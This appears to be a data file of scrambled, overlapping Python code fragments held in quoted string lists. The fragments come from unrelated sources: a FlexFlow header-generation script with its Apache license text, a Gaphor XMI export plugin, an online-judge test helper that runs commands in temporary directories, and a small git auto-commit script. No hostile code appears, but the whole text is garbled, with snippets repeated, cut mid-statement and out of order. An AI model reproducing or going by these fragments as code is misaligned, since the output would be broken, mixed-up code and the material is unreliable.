language governing permissions and # limitations under", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "to in writing, software # distributed under the License is", "result = try_prefix(ffhome_dir) if result: return result raise Exception('Unable to", "is None: output_dir = os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(output_dir, 'flexflow_cffi_header.py'), 'wb') as", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "# See the License for the specific language governing permissions", "You may obtain a copy of the License at #", "'include') return flexflow_cxxh_dir, flexflow_ch_path result = try_prefix(ffhome_dir) if result: return", "language governing permissions and # limitations under the License. #", "may not use this file except in compliance with the", "National Laboratory # # Licensed under the Apache License, Version", "or agreed to in writing, software # distributed under the", "# limitations under the License. # from __future__ import absolute_import,", "def find_flexflow_header(ffhome_dir): def try_prefix(prefix_dir): flexflow_ch_path = os.path.join(prefix_dir, 'python', 'flexflow_c.h') flexflow_cxxh_path", "required by applicable law or agreed to in writing, software", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "subprocess.check_output(['gcc', '-I', flexflow_cxxh_dir, '-E', '-P', flexflow_ch_path]).decode('utf-8') with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'flexflow_cffi_header.py.in')) as", "if __name__ == \"__main__\": parser = argparse.ArgumentParser() parser.add_argument('--ffhome-dir', required=True) parser.add_argument('--libname',", "with the License. # You may obtain a copy of", "this file except in compliance with the License. # You", "the Apache License, Version 2.0 (the \"License\"); # you may", "#!/usr/bin/env python # Copyright 2020 Stanford University, Los Alamos National", "return flexflow_cxxh_dir, flexflow_ch_path result = try_prefix(ffhome_dir) if result: return result", "Copyright 2020 Stanford University, Los Alamos National Laboratory # #" ]
[ "import FileDialog logger = logging.getLogger(__name__) class XMIExport(Service, ActionProvider): def __init__(self,", "if filename else \"model.xmi\" file_dialog = FileDialog( gettext(\"Export model to", "if filename and len(filename) > 0: logger.debug(f\"Exporting XMI model to:", "action=\"save\", filename=filename ) filename = file_dialog.selection if filename and len(filename)", "FileDialog logger = logging.getLogger(__name__) class XMIExport(Service, ActionProvider): def __init__(self, element_factory,", "from gaphor.plugins.xmiexport import exportmodel from gaphor.ui.filedialog import FileDialog logger =", "gaphor.core import action, gettext from gaphor.plugins.xmiexport import exportmodel from gaphor.ui.filedialog", "0: logger.debug(f\"Exporting XMI model to: {filename}\") export = exportmodel.XMIExport(self.element_factory) try:", "to XMI file\"), action=\"save\", filename=filename ) filename = file_dialog.selection if", "export functionality.\"\"\" import logging from gaphor.abc import ActionProvider, Service from", "Gaphor with XMI export functionality.\"\"\" import logging from gaphor.abc import", "len(filename) > 0: logger.debug(f\"Exporting XMI model to: {filename}\") export =", "> 0: logger.debug(f\"Exporting XMI model to: {filename}\") export = exportmodel.XMIExport(self.element_factory)", "<filename>gaphor/plugins/xmiexport/__init__.py \"\"\"This plugin extends Gaphor with XMI export functionality.\"\"\" import", "{filename}\") export = exportmodel.XMIExport(self.element_factory) try: export.export(filename) except Exception as e:", "file_manager, export_menu): self.element_factory = element_factory self.file_manager = file_manager export_menu.add_actions(self) def", "= self.file_manager.filename filename = filename.replace(\".gaphor\", \".xmi\") if filename else \"model.xmi\"", "Interchange) format\"), ) def execute(self): filename = self.file_manager.filename filename =", "import exportmodel from gaphor.ui.filedialog import FileDialog logger = logging.getLogger(__name__) class", "as e: logger.error(f\"Error while saving model to file {filename}: {e}\")", "execute(self): filename = self.file_manager.filename filename = filename.replace(\".gaphor\", \".xmi\") if filename", "def __init__(self, element_factory, file_manager, export_menu): self.element_factory = element_factory self.file_manager =", "logger.debug(f\"Exporting XMI model to: {filename}\") export = exportmodel.XMIExport(self.element_factory) try: export.export(filename)", "@action( name=\"file-export-xmi\", label=gettext(\"Export to XMI\"), tooltip=gettext(\"Export model to XMI (XML", "functionality.\"\"\" import logging from gaphor.abc import ActionProvider, Service from gaphor.core", "filename and len(filename) > 0: logger.debug(f\"Exporting XMI model to: {filename}\")", "to XMI\"), tooltip=gettext(\"Export model to XMI (XML Model Interchange) format\"),", "import logging from gaphor.abc import ActionProvider, Service from gaphor.core import", ") def execute(self): filename = self.file_manager.filename filename = filename.replace(\".gaphor\", \".xmi\")", "name=\"file-export-xmi\", label=gettext(\"Export to XMI\"), tooltip=gettext(\"Export model to XMI (XML Model", "export_menu.add_actions(self) def shutdown(self): pass @action( name=\"file-export-xmi\", label=gettext(\"Export to XMI\"), tooltip=gettext(\"Export", "XMI (XML Model Interchange) format\"), ) def execute(self): filename =", "logging.getLogger(__name__) class XMIExport(Service, ActionProvider): def __init__(self, element_factory, file_manager, export_menu): self.element_factory", "XMI\"), tooltip=gettext(\"Export model to XMI (XML Model Interchange) format\"), )", "tooltip=gettext(\"Export model to XMI (XML Model Interchange) format\"), ) def", "format\"), ) def execute(self): filename = self.file_manager.filename filename = filename.replace(\".gaphor\",", "Service from gaphor.core import action, gettext from gaphor.plugins.xmiexport import exportmodel", "= filename.replace(\".gaphor\", \".xmi\") if filename else \"model.xmi\" file_dialog = FileDialog(", "gettext(\"Export model to XMI file\"), action=\"save\", filename=filename ) filename =", "filename=filename ) filename = file_dialog.selection if filename and len(filename) >", "filename = filename.replace(\".gaphor\", \".xmi\") if filename else \"model.xmi\" file_dialog =", "export_menu): self.element_factory = element_factory self.file_manager = file_manager export_menu.add_actions(self) def shutdown(self):", "label=gettext(\"Export to XMI\"), tooltip=gettext(\"Export model to XMI (XML Model Interchange)", "plugin extends Gaphor with XMI export functionality.\"\"\" import logging from", "filename = self.file_manager.filename filename = filename.replace(\".gaphor\", \".xmi\") if filename else", "= file_dialog.selection if filename and len(filename) > 0: logger.debug(f\"Exporting XMI", "def shutdown(self): pass @action( name=\"file-export-xmi\", label=gettext(\"Export to XMI\"), tooltip=gettext(\"Export model", "= exportmodel.XMIExport(self.element_factory) try: export.export(filename) except Exception as e: logger.error(f\"Error while", "extends Gaphor with XMI export functionality.\"\"\" import logging from gaphor.abc", "action, gettext from gaphor.plugins.xmiexport import exportmodel from gaphor.ui.filedialog import FileDialog", "= file_manager export_menu.add_actions(self) def shutdown(self): pass @action( name=\"file-export-xmi\", label=gettext(\"Export to", "logging from gaphor.abc import ActionProvider, Service from gaphor.core import action,", "XMI file\"), action=\"save\", filename=filename ) filename = file_dialog.selection if filename", "from gaphor.core import action, gettext from gaphor.plugins.xmiexport import exportmodel from", "\".xmi\") if filename else \"model.xmi\" file_dialog = FileDialog( gettext(\"Export model", "ActionProvider): def __init__(self, element_factory, file_manager, export_menu): self.element_factory = element_factory self.file_manager", "ActionProvider, Service from gaphor.core import action, gettext from gaphor.plugins.xmiexport import", "import action, gettext from gaphor.plugins.xmiexport import exportmodel from gaphor.ui.filedialog import", "model to: {filename}\") export = exportmodel.XMIExport(self.element_factory) try: export.export(filename) except Exception", "def execute(self): filename = self.file_manager.filename filename = filename.replace(\".gaphor\", \".xmi\") if", "from gaphor.ui.filedialog import FileDialog logger = logging.getLogger(__name__) class XMIExport(Service, ActionProvider):", ") filename = file_dialog.selection if filename and len(filename) > 0:", "\"\"\"This plugin extends Gaphor with XMI export functionality.\"\"\" import logging", "self.file_manager.filename filename = filename.replace(\".gaphor\", \".xmi\") if filename else \"model.xmi\" file_dialog", "file\"), action=\"save\", filename=filename ) filename = file_dialog.selection if filename and", "try: export.export(filename) except Exception as e: logger.error(f\"Error while saving model", "file_dialog = FileDialog( gettext(\"Export model to XMI file\"), action=\"save\", filename=filename", "element_factory self.file_manager = file_manager export_menu.add_actions(self) def shutdown(self): pass @action( name=\"file-export-xmi\",", "element_factory, file_manager, export_menu): self.element_factory = element_factory self.file_manager = file_manager export_menu.add_actions(self)", "pass @action( name=\"file-export-xmi\", label=gettext(\"Export to XMI\"), tooltip=gettext(\"Export model to XMI", "from gaphor.abc import ActionProvider, Service from gaphor.core import action, gettext", "FileDialog( gettext(\"Export model to XMI file\"), action=\"save\", filename=filename ) filename", "= element_factory self.file_manager = file_manager export_menu.add_actions(self) def shutdown(self): pass @action(", "to XMI (XML Model Interchange) format\"), ) def execute(self): filename", "export = exportmodel.XMIExport(self.element_factory) try: export.export(filename) except Exception as e: logger.error(f\"Error", "__init__(self, element_factory, file_manager, export_menu): self.element_factory = element_factory self.file_manager = file_manager", "model to XMI file\"), action=\"save\", filename=filename ) filename = file_dialog.selection", "gettext from gaphor.plugins.xmiexport import exportmodel from gaphor.ui.filedialog import FileDialog logger", "= logging.getLogger(__name__) class XMIExport(Service, ActionProvider): def __init__(self, element_factory, file_manager, export_menu):", "gaphor.abc import ActionProvider, Service from gaphor.core import action, gettext from", "except Exception as e: logger.error(f\"Error while saving model to file", "XMI export functionality.\"\"\" import logging from gaphor.abc import ActionProvider, Service", "filename.replace(\".gaphor\", \".xmi\") if filename else \"model.xmi\" file_dialog = FileDialog( gettext(\"Export", "file_manager export_menu.add_actions(self) def shutdown(self): pass @action( name=\"file-export-xmi\", label=gettext(\"Export to XMI\"),", "self.element_factory = element_factory self.file_manager = file_manager export_menu.add_actions(self) def shutdown(self): pass", "exportmodel from gaphor.ui.filedialog import FileDialog logger = logging.getLogger(__name__) class XMIExport(Service,", "filename else \"model.xmi\" file_dialog = FileDialog( gettext(\"Export model to XMI", "\"model.xmi\" file_dialog = FileDialog( gettext(\"Export model to XMI file\"), action=\"save\",", "filename = file_dialog.selection if filename and len(filename) > 0: logger.debug(f\"Exporting", "Exception as e: logger.error(f\"Error while saving model to file {filename}:", "import ActionProvider, Service from gaphor.core import action, gettext from gaphor.plugins.xmiexport", "gaphor.plugins.xmiexport import exportmodel from gaphor.ui.filedialog import FileDialog logger = logging.getLogger(__name__)", "to: {filename}\") export = exportmodel.XMIExport(self.element_factory) try: export.export(filename) except Exception as", "logger = logging.getLogger(__name__) class XMIExport(Service, ActionProvider): def __init__(self, element_factory, file_manager,", "gaphor.ui.filedialog import FileDialog logger = logging.getLogger(__name__) class XMIExport(Service, ActionProvider): def", "model to XMI (XML Model Interchange) format\"), ) def execute(self):", "XMI model to: {filename}\") export = exportmodel.XMIExport(self.element_factory) try: export.export(filename) except", "and len(filename) > 0: logger.debug(f\"Exporting XMI model to: {filename}\") export", "Model Interchange) format\"), ) def execute(self): filename = self.file_manager.filename filename", "XMIExport(Service, ActionProvider): def __init__(self, element_factory, file_manager, export_menu): self.element_factory = element_factory", "exportmodel.XMIExport(self.element_factory) try: export.export(filename) except Exception as e: logger.error(f\"Error while saving", "else \"model.xmi\" file_dialog = FileDialog( gettext(\"Export model to XMI file\"),", "with XMI export functionality.\"\"\" import logging from gaphor.abc import ActionProvider,", "= FileDialog( gettext(\"Export model to XMI file\"), action=\"save\", filename=filename )", "file_dialog.selection if filename and len(filename) > 0: logger.debug(f\"Exporting XMI model", "shutdown(self): pass @action( name=\"file-export-xmi\", label=gettext(\"Export to XMI\"), tooltip=gettext(\"Export model to", "export.export(filename) except Exception as e: logger.error(f\"Error while saving model to", "(XML Model Interchange) format\"), ) def execute(self): filename = self.file_manager.filename", "class XMIExport(Service, ActionProvider): def __init__(self, element_factory, file_manager, export_menu): self.element_factory =", "self.file_manager = file_manager export_menu.add_actions(self) def shutdown(self): pass @action( name=\"file-export-xmi\", label=gettext(\"Export" ]
[ "def chdir(path): cwd = os.getcwd() try: os.chdir(path) yield finally: os.chdir(cwd)", "is not None: return [str(pathlib.Path(oj_exe).resolve())] else: return [sys.executable, '-m', 'onlinejudge._implementation.main']", "\"{}\"'.format(sys.executable, path) def is_logged_in(service, memo={}): # functools.lru_cache is unusable since", "env=env, check=check) def run_in_sandbox(args, files): with sandbox(files) as tempdir: proc", "fh: fh.write(f['data']) if f.get('executable', False): path.chmod(0o755) @contextlib.contextmanager def sandbox(files): with", "env = env or dict(os.environ) env['PYTHONPATH'] = str(pathlib.Path(__file__).parent.parent) # this", "get_oj_exe(): oj_exe = os.environ.get('TEST_OJ_EXE') if oj_exe is not None: return", "os.getcwd() try: os.chdir(path) yield finally: os.chdir(cwd) def prepare_files(files): for f", "proc = run(args) return { 'proc': proc, 'tempdir': tempdir, }", "exist_ok=True) with open(str(path), 'w') as fh: fh.write(f['data']) if f.get('executable', False):", "python_c(cmd): assert '\"' not in cmd return '{} -c \"{}\"'.format(sys.executable,", "assert '\"' not in path return '{} \"{}\"'.format(sys.executable, path) def", "-c \"{}\"'.format(sys.executable, cmd) def python_script(path): assert '\"' not in path", "as tempdir: proc = run(args) return { 'proc': proc, 'tempdir':", "'onlinejudge._implementation.main'] def run(args, *, env=None, check=False, oj_exe=get_oj_exe()): # oj_exe should", "tempfile.TemporaryDirectory() as tempdir: with chdir(tempdir): prepare_files(files) yield tempdir def get_oj_exe():", "path = pathlib.Path(f['path']) path.parent.mkdir(parents=True, exist_ok=True) with open(str(path), 'w') as fh:", "sandbox(files) as tempdir: proc = run(args) return { 'proc': proc,", "with sandbox(files) as tempdir: proc = run(args) return { 'proc':", "fh.write(f['data']) if f.get('executable', False): path.chmod(0o755) @contextlib.contextmanager def sandbox(files): with tempfile.TemporaryDirectory()", "url not in memo: proc = run(['login', '--check', url]) memo[url]", "chdir(tempdir): prepare_files(files) yield tempdir def get_oj_exe(): oj_exe = os.environ.get('TEST_OJ_EXE') if", "def sleep_1sec(): if os.name == 'nt': return '{} -c \"import", "os.environ.get('TEST_OJ_EXE') if oj_exe is not None: return [str(pathlib.Path(oj_exe).resolve())] else: return", "return subprocess.run(oj_exe + args, stdout=subprocess.PIPE, stderr=sys.stderr, env=env, check=check) def run_in_sandbox(args,", "try: os.chdir(path) yield finally: os.chdir(cwd) def prepare_files(files): for f in", "[sys.executable, '-m', 'onlinejudge._implementation.main'] def run(args, *, env=None, check=False, oj_exe=get_oj_exe()): #", "sleep_1sec(): if os.name == 'nt': return '{} -c \"import time;", "check=False, oj_exe=get_oj_exe()): # oj_exe should be evaluated out of sandboxes", "cwd = os.getcwd() try: os.chdir(path) yield finally: os.chdir(cwd) def prepare_files(files):", "tempdir: proc = run(args) return { 'proc': proc, 'tempdir': tempdir,", "to run in sandboxes return subprocess.run(oj_exe + args, stdout=subprocess.PIPE, stderr=sys.stderr,", "return '{} -c \"{}\"'.format(sys.executable, cmd) def python_script(path): assert '\"' not", "url = service.get_url() if url not in memo: proc =", "if os.name == 'nt': return '{} -c \"import sys; sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable)", "'cat' def sleep_1sec(): if os.name == 'nt': return '{} -c", "== 'nt': return '{} -c \"import time; time.sleep(1)\"'.format(sys.executable) else: return", "False): path.chmod(0o755) @contextlib.contextmanager def sandbox(files): with tempfile.TemporaryDirectory() as tempdir: with", "{ 'proc': proc, 'tempdir': tempdir, } def cat(): if os.name", "evaluated out of sandboxes env = env or dict(os.environ) env['PYTHONPATH']", "'proc': proc, 'tempdir': tempdir, } def cat(): if os.name ==", "return '{} -c \"import time; time.sleep(1)\"'.format(sys.executable) else: return 'sleep 1.0'", "tempfile @contextlib.contextmanager def chdir(path): cwd = os.getcwd() try: os.chdir(path) yield", "run in sandboxes return subprocess.run(oj_exe + args, stdout=subprocess.PIPE, stderr=sys.stderr, env=env,", "else: return 'sleep 1.0' def python_c(cmd): assert '\"' not in", "cmd return '{} -c \"{}\"'.format(sys.executable, cmd) def python_script(path): assert '\"'", "def python_script(path): assert '\"' not in path return '{} \"{}\"'.format(sys.executable,", "import tempfile @contextlib.contextmanager def chdir(path): cwd = os.getcwd() try: os.chdir(path)", "sandboxes env = env or dict(os.environ) env['PYTHONPATH'] = str(pathlib.Path(__file__).parent.parent) #", "time.sleep(1)\"'.format(sys.executable) else: return 'sleep 1.0' def python_c(cmd): assert '\"' not", "'tempdir': tempdir, } def cat(): if os.name == 'nt': return", "return 'sleep 1.0' def python_c(cmd): assert '\"' not in cmd", "is_logged_in(service, memo={}): # functools.lru_cache is unusable since Service are unhashable", "@contextlib.contextmanager def sandbox(files): with tempfile.TemporaryDirectory() as tempdir: with chdir(tempdir): prepare_files(files)", "prepare_files(files): for f in files: path = pathlib.Path(f['path']) path.parent.mkdir(parents=True, exist_ok=True)", "files: path = pathlib.Path(f['path']) path.parent.mkdir(parents=True, exist_ok=True) with open(str(path), 'w') as", "*, env=None, check=False, oj_exe=get_oj_exe()): # oj_exe should be evaluated out", "prepare_files(files) yield tempdir def get_oj_exe(): oj_exe = os.environ.get('TEST_OJ_EXE') if oj_exe", "should be evaluated out of sandboxes env = env or", "path return '{} \"{}\"'.format(sys.executable, path) def is_logged_in(service, memo={}): # functools.lru_cache", "contextlib import os import pathlib import subprocess import sys import", "with chdir(tempdir): prepare_files(files) yield tempdir def get_oj_exe(): oj_exe = os.environ.get('TEST_OJ_EXE')", "Service are unhashable url = service.get_url() if url not in", "if oj_exe is not None: return [str(pathlib.Path(oj_exe).resolve())] else: return [sys.executable,", "files): with sandbox(files) as tempdir: proc = run(args) return {", "required to run in sandboxes return subprocess.run(oj_exe + args, stdout=subprocess.PIPE,", "if os.name == 'nt': return '{} -c \"import time; time.sleep(1)\"'.format(sys.executable)", "def cat(): if os.name == 'nt': return '{} -c \"import", "or dict(os.environ) env['PYTHONPATH'] = str(pathlib.Path(__file__).parent.parent) # this is required to", "'sleep 1.0' def python_c(cmd): assert '\"' not in cmd return", "def python_c(cmd): assert '\"' not in cmd return '{} -c", "sandbox(files): with tempfile.TemporaryDirectory() as tempdir: with chdir(tempdir): prepare_files(files) yield tempdir", "import sys import tempfile @contextlib.contextmanager def chdir(path): cwd = os.getcwd()", "yield finally: os.chdir(cwd) def prepare_files(files): for f in files: path", "'nt': return '{} -c \"import sys; sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable) else: return 'cat'", "[str(pathlib.Path(oj_exe).resolve())] else: return [sys.executable, '-m', 'onlinejudge._implementation.main'] def run(args, *, env=None,", "@contextlib.contextmanager def chdir(path): cwd = os.getcwd() try: os.chdir(path) yield finally:", "else: return 'cat' def sleep_1sec(): if os.name == 'nt': return", "} def cat(): if os.name == 'nt': return '{} -c", "<gh_stars>0 import contextlib import os import pathlib import subprocess import", "this is required to run in sandboxes return subprocess.run(oj_exe +", "oj_exe=get_oj_exe()): # oj_exe should be evaluated out of sandboxes env", "time; time.sleep(1)\"'.format(sys.executable) else: return 'sleep 1.0' def python_c(cmd): assert '\"'", "os import pathlib import subprocess import sys import tempfile @contextlib.contextmanager", "# oj_exe should be evaluated out of sandboxes env =", "import subprocess import sys import tempfile @contextlib.contextmanager def chdir(path): cwd", "'{} -c \"{}\"'.format(sys.executable, cmd) def python_script(path): assert '\"' not in", "return [str(pathlib.Path(oj_exe).resolve())] else: return [sys.executable, '-m', 'onlinejudge._implementation.main'] def run(args, *,", "of sandboxes env = env or dict(os.environ) env['PYTHONPATH'] = str(pathlib.Path(__file__).parent.parent)", "run_in_sandbox(args, files): with sandbox(files) as tempdir: proc = run(args) return", "functools.lru_cache is unusable since Service are unhashable url = service.get_url()", "with open(str(path), 'w') as fh: fh.write(f['data']) if f.get('executable', False): path.chmod(0o755)", "= str(pathlib.Path(__file__).parent.parent) # this is required to run in sandboxes", "are unhashable url = service.get_url() if url not in memo:", "def is_logged_in(service, memo={}): # functools.lru_cache is unusable since Service are", "def run(args, *, env=None, check=False, oj_exe=get_oj_exe()): # oj_exe should be", "as fh: fh.write(f['data']) if f.get('executable', False): path.chmod(0o755) @contextlib.contextmanager def sandbox(files):", "-c \"import sys; sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable) else: return 'cat' def sleep_1sec(): if", "str(pathlib.Path(__file__).parent.parent) # this is required to run in sandboxes return", "= pathlib.Path(f['path']) path.parent.mkdir(parents=True, exist_ok=True) with open(str(path), 'w') as fh: fh.write(f['data'])", "in path return '{} \"{}\"'.format(sys.executable, path) def is_logged_in(service, memo={}): #", "tempdir: with chdir(tempdir): prepare_files(files) yield tempdir def get_oj_exe(): oj_exe =", "env=None, check=False, oj_exe=get_oj_exe()): # oj_exe should be evaluated out of", "def prepare_files(files): for f in files: path = pathlib.Path(f['path']) path.parent.mkdir(parents=True,", "= env or dict(os.environ) env['PYTHONPATH'] = str(pathlib.Path(__file__).parent.parent) # this is", "in sandboxes return subprocess.run(oj_exe + args, stdout=subprocess.PIPE, stderr=sys.stderr, env=env, check=check)", "cat(): if os.name == 'nt': return '{} -c \"import sys;", "as tempdir: with chdir(tempdir): prepare_files(files) yield tempdir def get_oj_exe(): oj_exe", "in files: path = pathlib.Path(f['path']) path.parent.mkdir(parents=True, exist_ok=True) with open(str(path), 'w')", "= os.getcwd() try: os.chdir(path) yield finally: os.chdir(cwd) def prepare_files(files): for", "env or dict(os.environ) env['PYTHONPATH'] = str(pathlib.Path(__file__).parent.parent) # this is required", "# this is required to run in sandboxes return subprocess.run(oj_exe", "sandboxes return subprocess.run(oj_exe + args, stdout=subprocess.PIPE, stderr=sys.stderr, env=env, check=check) def", "proc, 'tempdir': tempdir, } def cat(): if os.name == 'nt':", "for f in files: path = pathlib.Path(f['path']) path.parent.mkdir(parents=True, exist_ok=True) with", "return { 'proc': proc, 'tempdir': tempdir, } def cat(): if", "memo: proc = run(['login', '--check', url]) memo[url] = proc.returncode ==", "run(['login', '--check', url]) memo[url] = proc.returncode == 0 return memo[url]", "# functools.lru_cache is unusable since Service are unhashable url =", "return 'cat' def sleep_1sec(): if os.name == 'nt': return '{}", "in cmd return '{} -c \"{}\"'.format(sys.executable, cmd) def python_script(path): assert", "unhashable url = service.get_url() if url not in memo: proc", "cmd) def python_script(path): assert '\"' not in path return '{}", "sys; sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable) else: return 'cat' def sleep_1sec(): if os.name ==", "def get_oj_exe(): oj_exe = os.environ.get('TEST_OJ_EXE') if oj_exe is not None:", "tempdir def get_oj_exe(): oj_exe = os.environ.get('TEST_OJ_EXE') if oj_exe is not", "None: return [str(pathlib.Path(oj_exe).resolve())] else: return [sys.executable, '-m', 'onlinejudge._implementation.main'] def run(args,", "import contextlib import os import pathlib import subprocess import sys", "not in memo: proc = run(['login', '--check', url]) memo[url] =", "'-m', 'onlinejudge._implementation.main'] def run(args, *, env=None, check=False, oj_exe=get_oj_exe()): # oj_exe", "'\"' not in path return '{} \"{}\"'.format(sys.executable, path) def is_logged_in(service,", "1.0' def python_c(cmd): assert '\"' not in cmd return '{}", "os.chdir(path) yield finally: os.chdir(cwd) def prepare_files(files): for f in files:", "args, stdout=subprocess.PIPE, stderr=sys.stderr, env=env, check=check) def run_in_sandbox(args, files): with sandbox(files)", "'{} \"{}\"'.format(sys.executable, path) def is_logged_in(service, memo={}): # functools.lru_cache is unusable", "stderr=sys.stderr, env=env, check=check) def run_in_sandbox(args, files): with sandbox(files) as tempdir:", "be evaluated out of sandboxes env = env or dict(os.environ)", "return [sys.executable, '-m', 'onlinejudge._implementation.main'] def run(args, *, env=None, check=False, oj_exe=get_oj_exe()):", "open(str(path), 'w') as fh: fh.write(f['data']) if f.get('executable', False): path.chmod(0o755) @contextlib.contextmanager", "service.get_url() if url not in memo: proc = run(['login', '--check',", "os.chdir(cwd) def prepare_files(files): for f in files: path = pathlib.Path(f['path'])", "\"import sys; sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable) else: return 'cat' def sleep_1sec(): if os.name", "run(args) return { 'proc': proc, 'tempdir': tempdir, } def cat():", "pathlib.Path(f['path']) path.parent.mkdir(parents=True, exist_ok=True) with open(str(path), 'w') as fh: fh.write(f['data']) if", "return '{} -c \"import sys; sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable) else: return 'cat' def", "is unusable since Service are unhashable url = service.get_url() if", "finally: os.chdir(cwd) def prepare_files(files): for f in files: path =", "= run(args) return { 'proc': proc, 'tempdir': tempdir, } def", "subprocess import sys import tempfile @contextlib.contextmanager def chdir(path): cwd =", "since Service are unhashable url = service.get_url() if url not", "= service.get_url() if url not in memo: proc = run(['login',", "path.parent.mkdir(parents=True, exist_ok=True) with open(str(path), 'w') as fh: fh.write(f['data']) if f.get('executable',", "oj_exe should be evaluated out of sandboxes env = env", "run(args, *, env=None, check=False, oj_exe=get_oj_exe()): # oj_exe should be evaluated", "== 'nt': return '{} -c \"import sys; sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable) else: return", "f in files: path = pathlib.Path(f['path']) path.parent.mkdir(parents=True, exist_ok=True) with open(str(path),", "import pathlib import subprocess import sys import tempfile @contextlib.contextmanager def", "os.name == 'nt': return '{} -c \"import sys; sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable) else:", "dict(os.environ) env['PYTHONPATH'] = str(pathlib.Path(__file__).parent.parent) # this is required to run", "'{} -c \"import time; time.sleep(1)\"'.format(sys.executable) else: return 'sleep 1.0' def", "\"import time; time.sleep(1)\"'.format(sys.executable) else: return 'sleep 1.0' def python_c(cmd): assert", "path) def is_logged_in(service, memo={}): # functools.lru_cache is unusable since Service", "sys import tempfile @contextlib.contextmanager def chdir(path): cwd = os.getcwd() try:", "if f.get('executable', False): path.chmod(0o755) @contextlib.contextmanager def sandbox(files): with tempfile.TemporaryDirectory() as", "chdir(path): cwd = os.getcwd() try: os.chdir(path) yield finally: os.chdir(cwd) def", "stdout=subprocess.PIPE, stderr=sys.stderr, env=env, check=check) def run_in_sandbox(args, files): with sandbox(files) as", "sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable) else: return 'cat' def sleep_1sec(): if os.name == 'nt':", "-c \"import time; time.sleep(1)\"'.format(sys.executable) else: return 'sleep 1.0' def python_c(cmd):", "with tempfile.TemporaryDirectory() as tempdir: with chdir(tempdir): prepare_files(files) yield tempdir def", "memo={}): # functools.lru_cache is unusable since Service are unhashable url", "oj_exe is not None: return [str(pathlib.Path(oj_exe).resolve())] else: return [sys.executable, '-m',", "return '{} \"{}\"'.format(sys.executable, path) def is_logged_in(service, memo={}): # functools.lru_cache is", "proc = run(['login', '--check', url]) memo[url] = proc.returncode == 0", "env['PYTHONPATH'] = str(pathlib.Path(__file__).parent.parent) # this is required to run in", "+ args, stdout=subprocess.PIPE, stderr=sys.stderr, env=env, check=check) def run_in_sandbox(args, files): with", "oj_exe = os.environ.get('TEST_OJ_EXE') if oj_exe is not None: return [str(pathlib.Path(oj_exe).resolve())]", "import os import pathlib import subprocess import sys import tempfile", "path.chmod(0o755) @contextlib.contextmanager def sandbox(files): with tempfile.TemporaryDirectory() as tempdir: with chdir(tempdir):", "= os.environ.get('TEST_OJ_EXE') if oj_exe is not None: return [str(pathlib.Path(oj_exe).resolve())] else:", "not None: return [str(pathlib.Path(oj_exe).resolve())] else: return [sys.executable, '-m', 'onlinejudge._implementation.main'] def", "def sandbox(files): with tempfile.TemporaryDirectory() as tempdir: with chdir(tempdir): prepare_files(files) yield", "def run_in_sandbox(args, files): with sandbox(files) as tempdir: proc = run(args)", "assert '\"' not in cmd return '{} -c \"{}\"'.format(sys.executable, cmd)", "'\"' not in cmd return '{} -c \"{}\"'.format(sys.executable, cmd) def", "= run(['login', '--check', url]) memo[url] = proc.returncode == 0 return", "else: return [sys.executable, '-m', 'onlinejudge._implementation.main'] def run(args, *, env=None, check=False,", "f.get('executable', False): path.chmod(0o755) @contextlib.contextmanager def sandbox(files): with tempfile.TemporaryDirectory() as tempdir:", "out of sandboxes env = env or dict(os.environ) env['PYTHONPATH'] =", "python_script(path): assert '\"' not in path return '{} \"{}\"'.format(sys.executable, path)", "is required to run in sandboxes return subprocess.run(oj_exe + args,", "check=check) def run_in_sandbox(args, files): with sandbox(files) as tempdir: proc =", "pathlib import subprocess import sys import tempfile @contextlib.contextmanager def chdir(path):", "'nt': return '{} -c \"import time; time.sleep(1)\"'.format(sys.executable) else: return 'sleep", "if url not in memo: proc = run(['login', '--check', url])", "in memo: proc = run(['login', '--check', url]) memo[url] = proc.returncode", "'{} -c \"import sys; sys.stdout.buffer.write(sys.stdin.buffer.read())\"'.format(sys.executable) else: return 'cat' def sleep_1sec():", "subprocess.run(oj_exe + args, stdout=subprocess.PIPE, stderr=sys.stderr, env=env, check=check) def run_in_sandbox(args, files):", "tempdir, } def cat(): if os.name == 'nt': return '{}", "'w') as fh: fh.write(f['data']) if f.get('executable', False): path.chmod(0o755) @contextlib.contextmanager def", "os.name == 'nt': return '{} -c \"import time; time.sleep(1)\"'.format(sys.executable) else:", "unusable since Service are unhashable url = service.get_url() if url", "\"{}\"'.format(sys.executable, cmd) def python_script(path): assert '\"' not in path return", "not in cmd return '{} -c \"{}\"'.format(sys.executable, cmd) def python_script(path):", "yield tempdir def get_oj_exe(): oj_exe = os.environ.get('TEST_OJ_EXE') if oj_exe is", "not in path return '{} \"{}\"'.format(sys.executable, path) def is_logged_in(service, memo={}):" ]
[ "<gh_stars>0 import os commit_string = \"选择data的前多少个维度参与训练\" not_add = ['results', 'data',", "commit_string = \"选择data的前多少个维度参与训练\" not_add = ['results', 'data', 'weights'] for item", "'data', 'weights'] for item in os.listdir(): if item in not_add:", "'weights'] for item in os.listdir(): if item in not_add: #", "not_add = ['results', 'data', 'weights'] for item in os.listdir(): if", "for item in os.listdir(): if item in not_add: # print(item)", "add {item}\") os.system(f'git commit -m \"{commit_string}\"') os.system(\"git push origin main\")", "item in os.listdir(): if item in not_add: # print(item) continue", "= \"选择data的前多少个维度参与训练\" not_add = ['results', 'data', 'weights'] for item in", "os.system(f\"git add {item}\") os.system(f'git commit -m \"{commit_string}\"') os.system(\"git push origin", "if item in not_add: # print(item) continue else: os.system(f\"git add", "print(item) continue else: os.system(f\"git add {item}\") os.system(f'git commit -m \"{commit_string}\"')", "# print(item) continue else: os.system(f\"git add {item}\") os.system(f'git commit -m", "= ['results', 'data', 'weights'] for item in 